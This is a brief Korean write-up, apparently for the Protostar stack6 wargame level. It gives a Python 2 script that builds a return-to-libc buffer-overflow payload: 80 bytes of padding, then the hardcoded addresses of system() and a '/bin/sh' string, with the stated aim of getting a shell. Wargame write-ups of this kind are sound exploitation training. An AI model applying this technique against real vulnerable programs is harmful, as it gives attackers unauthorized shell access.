choiys

이번엔 RTL을 이용한 풀이입니다.

#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: pack("<L", x)[0]

system = 0xb7ecffb0
binsh = 0xb7fb63bf

payload = 'A'*80
payload += p(system)
payload += 'B'*4
payload += p(binsh)

print payload

stack6.py

쉘을 따줍시다.